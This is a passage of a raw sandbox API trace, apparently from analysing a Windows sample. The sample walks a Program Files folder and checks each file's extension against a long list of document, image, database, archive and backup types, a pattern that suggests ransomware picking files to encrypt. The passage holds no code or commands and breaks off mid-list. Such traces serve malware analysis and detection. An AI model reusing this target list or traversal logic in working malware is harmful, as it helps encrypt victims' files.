cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0087.522] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0087.522] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0087.523] FindClose (in: hFindFile=0x562470 | out: hFindFile=0x562470) returned 1 [0087.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4031060 | out: hHeap=0x4f0000) returned 1 [0087.523] FindNextFileW (in: hFindFile=0x5622b0, lpFindFileData=0x379f310 | out: lpFindFileData=0x379f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0087.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4031060 [0087.523] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 56 [0087.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x562470 [0087.524] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.524] FindNextFileW (in: hFindFile=0x562470, lpFindFileData=0x379f094 | out: lpFindFileData=0x379f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0087.524] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0087.524] lstrlenW (lpString=".1cd") returned 4 [0087.524] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".3ds") returned 4 [0087.524] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".3fr") returned 4 [0087.524] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".3g2") returned 4 [0087.524] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".3gp") returned 4 [0087.524] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".7z") returned 3 [0087.524] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0087.524] lstrlenW (lpString=".accda") returned 6 [0087.524] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0087.524] lstrlenW (lpString=".accdb") returned 6 [0087.524] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0087.524] lstrlenW (lpString=".accdc") returned 6 [0087.524] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0087.524] lstrlenW (lpString=".accde") returned 6 [0087.524] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0087.524] lstrlenW (lpString=".accdt") returned 6 [0087.524] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0087.524] lstrlenW (lpString=".accdw") returned 6 [0087.524] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1 [0087.524] lstrlenW (lpString=".adb") returned 4 [0087.524] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".adp") returned 4 [0087.524] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".ai") returned 3 [0087.524] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0087.524] lstrlenW (lpString=".ai3") returned 4 [0087.524] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".ai4") returned 4 [0087.524] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".ai5") returned 4 [0087.524] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".ai6") returned 4 [0087.524] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".ai7") returned 4 [0087.524] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".ai8") returned 4 [0087.524] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0087.524] lstrlenW (lpString=".anim") returned 5 [0087.524] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1 [0087.525] lstrlenW (lpString=".arw") returned 4 [0087.525] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".as") returned 3 [0087.525] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0087.525] lstrlenW (lpString=".asa") returned 4 [0087.525] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".asc") returned 4 [0087.525] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".ascx") returned 5 [0087.525] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1 [0087.525] lstrlenW (lpString=".asm") returned 4 [0087.525] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".asmx") returned 5 [0087.525] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1 [0087.525] lstrlenW (lpString=".asp") returned 4 [0087.525] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".aspx") returned 5 [0087.525] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1 [0087.525] lstrlenW (lpString=".asr") returned 4 [0087.525] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".asx") returned 4 [0087.525] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".avi") returned 4 [0087.525] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".avs") returned 4 [0087.525] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".backup") returned 7 [0087.525] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1 [0087.525] lstrlenW (lpString=".bak") returned 4 [0087.525] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".bay") returned 4 [0087.525] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".bd") returned 3 [0087.525] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0087.525] lstrlenW (lpString=".bin") returned 4 [0087.525] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".bmp") returned 4 [0087.525] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".bz2") returned 4 [0087.525] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".c") returned 2 [0087.525] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0087.525] lstrlenW (lpString=".cdr") returned 4 [0087.525] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".cer") returned 4 [0087.525] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".cf") returned 3 [0087.525] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0087.525] lstrlenW (lpString=".cfc") returned 4 [0087.525] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".cfm") returned 4 [0087.525] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0087.525] lstrlenW (lpString=".cfml") returned 5 [0087.525] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1 [0087.525] lstrlenW (lpString=".cfu") returned 4 [0087.526] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".chm") returned 4 [0087.526] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".cin") returned 4 [0087.526] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".class") returned 6 [0087.526] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1 [0087.526] lstrlenW (lpString=".clx") returned 4 [0087.526] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".config") returned 7 [0087.526] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1 [0087.526] lstrlenW (lpString=".cpp") returned 4 [0087.526] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".cr2") returned 4 [0087.526] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".crt") returned 4 [0087.526] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".crw") returned 4 [0087.526] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".cs") returned 3 [0087.526] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0087.526] lstrlenW (lpString=".css") returned 4 [0087.526] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".csv") returned 4 [0087.526] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".cub") returned 4 [0087.526] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dae") returned 4 [0087.526] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dat") returned 4 [0087.526] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".db") returned 3 [0087.526] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0087.526] lstrlenW (lpString=".dbf") returned 4 [0087.526] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dbx") returned 4 [0087.526] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dc3") returned 4 [0087.526] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dcm") returned 4 [0087.526] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dcr") returned 4 [0087.526] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".der") returned 4 [0087.526] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dib") returned 4 [0087.526] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dic") returned 4 [0087.526] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0087.526] lstrlenW (lpString=".dif") returned 4 [0087.527] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".divx") returned 5 [0087.527] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".djvu") returned 5 [0087.527] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".dng") returned 4 [0087.527] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".doc") returned 4 [0087.527] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".docm") returned 5 [0087.527] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".docx") returned 5 [0087.527] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".dot") returned 4 [0087.527] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dotm") returned 5 [0087.527] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".dotx") returned 5 [0087.527] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".dpx") returned 4 [0087.527] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dqy") returned 4 [0087.527] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dsn") returned 4 [0087.527] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dt") returned 3 [0087.527] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0087.527] lstrlenW (lpString=".dtd") returned 4 [0087.527] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dwg") returned 4 [0087.527] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dwt") returned 4 [0087.527] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".dx") returned 3 [0087.527] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0087.527] lstrlenW (lpString=".dxf") returned 4 [0087.527] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".edml") returned 5 [0087.527] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".efd") returned 4 [0087.527] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".elf") returned 4 [0087.527] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".emf") returned 4 [0087.527] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".emz") returned 4 [0087.527] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".epf") returned 4 [0087.527] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".eps") returned 4 [0087.527] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0087.527] lstrlenW (lpString=".epsf") returned 5 [0087.527] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".epsp") returned 5 [0087.527] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1 [0087.527] lstrlenW (lpString=".erf") returned 4 [0087.528] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".exr") returned 4 [0087.528] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".f4v") returned 4 [0087.528] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".fido") returned 5 [0087.528] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1 [0087.528] lstrlenW (lpString=".flm") returned 4 [0087.528] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".flv") returned 4 [0087.528] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".frm") returned 4 [0087.528] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".fxg") returned 4 [0087.528] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".geo") returned 4 [0087.528] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".gif") returned 4 [0087.528] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".grs") returned 4 [0087.528] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".gz") returned 3 [0087.528] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0087.528] lstrlenW (lpString=".h") returned 2 [0087.528] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0087.528] lstrlenW (lpString=".hdr") returned 4 [0087.528] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".hpp") returned 4 [0087.528] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".hta") returned 4 [0087.528] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".htc") returned 4 [0087.528] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".htm") returned 4 [0087.528] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".html") returned 5 [0087.528] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1 [0087.528] lstrlenW (lpString=".icb") returned 4 [0087.528] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".ics") returned 4 [0087.528] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".iff") returned 4 [0087.528] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".inc") returned 4 [0087.528] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".indd") returned 5 [0087.528] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1 [0087.528] lstrlenW (lpString=".ini") returned 4 [0087.528] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0087.528] lstrlenW (lpString=".iqy") returned 4 [0087.528] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".j2c") returned 4 [0087.529] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".j2k") returned 4 [0087.529] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".java") returned 5 [0087.529] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1 [0087.529] lstrlenW (lpString=".jp2") returned 4 [0087.529] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".jpc") returned 4 [0087.529] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".jpe") returned 4 [0087.529] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".jpeg") returned 5 [0087.529] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1 [0087.529] lstrlenW (lpString=".jpf") returned 4 [0087.529] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".jpg") returned 4 [0087.529] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".jpx") returned 4 [0087.529] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".js") returned 3 [0087.529] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0087.529] lstrlenW (lpString=".jsf") returned 4 [0087.529] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".json") returned 5 [0087.529] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1 [0087.529] lstrlenW (lpString=".jsp") returned 4 [0087.529] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".kdc") returned 4 [0087.529] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".kmz") returned 4 [0087.529] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".kwm") returned 4 [0087.529] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".lasso") returned 6 [0087.529] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1 [0087.529] lstrlenW (lpString=".lbi") returned 4 [0087.529] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".lgf") returned 4 [0087.529] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".lgp") returned 4 [0087.529] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".log") returned 4 [0087.529] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".m1v") returned 4 [0087.529] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".m4a") returned 4 [0087.529] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".m4v") returned 4 [0087.529] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".max") returned 4 [0087.529] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0087.529] lstrlenW (lpString=".md") returned 3 [0087.529] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0087.529] lstrlenW (lpString=".mda") returned 4 [0087.529] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mdb") returned 4 [0087.530] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mde") returned 4 [0087.530] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mdf") returned 4 [0087.530] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mdw") returned 4 [0087.530] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mef") returned 4 [0087.530] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mft") returned 4 [0087.530] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mfw") returned 4 [0087.530] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mht") returned 4 [0087.530] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mhtml") returned 6 [0087.530] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1 [0087.530] lstrlenW (lpString=".mka") returned 4 [0087.530] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mkidx") returned 6 [0087.530] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1 [0087.530] lstrlenW (lpString=".mkv") returned 4 [0087.530] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mos") returned 4 [0087.530] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mov") returned 4 [0087.530] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mp3") returned 4 [0087.530] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mp4") returned 4 [0087.530] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mpeg") returned 5 [0087.530] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1 [0087.530] lstrlenW (lpString=".mpg") returned 4 [0087.530] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mpv") returned 4 [0087.530] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mrw") returned 4 [0087.530] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".msg") returned 4 [0087.530] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0087.530] lstrlenW (lpString=".mxl") returned 4 [0087.530] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0087.530] lstrlenW (lpString=".myd") returned 4 [0087.530] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0087.530] lstrlenW (lpString=".myi") returned 4 [0087.530] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0087.530] lstrlenW (lpString=".nef") returned 4 [0087.530] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0087.530] lstrlenW (lpString=".nrw") returned 4 [0087.531] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".obj") returned 4 [0087.531] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".odb") returned 4 [0087.531] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".odc") returned 4 [0087.531] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".odm") returned 4 [0087.531] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".odp") returned 4 [0087.531] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".ods") returned 4 [0087.531] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".oft") returned 4 [0087.531] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".one") returned 4 [0087.531] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".onepkg") returned 7 [0087.531] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1 [0087.531] lstrlenW (lpString=".onetoc2") returned 8 [0087.531] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1 [0087.531] lstrlenW (lpString=".opt") returned 4 [0087.531] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".oqy") returned 4 [0087.531] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".orf") returned 4 [0087.531] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".p12") returned 4 [0087.531] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0087.531] lstrlenW (lpString=".p7b") returned 4 [0087.531] lstrcmpiW (lpString1=".p7b", lpString2=".mui") 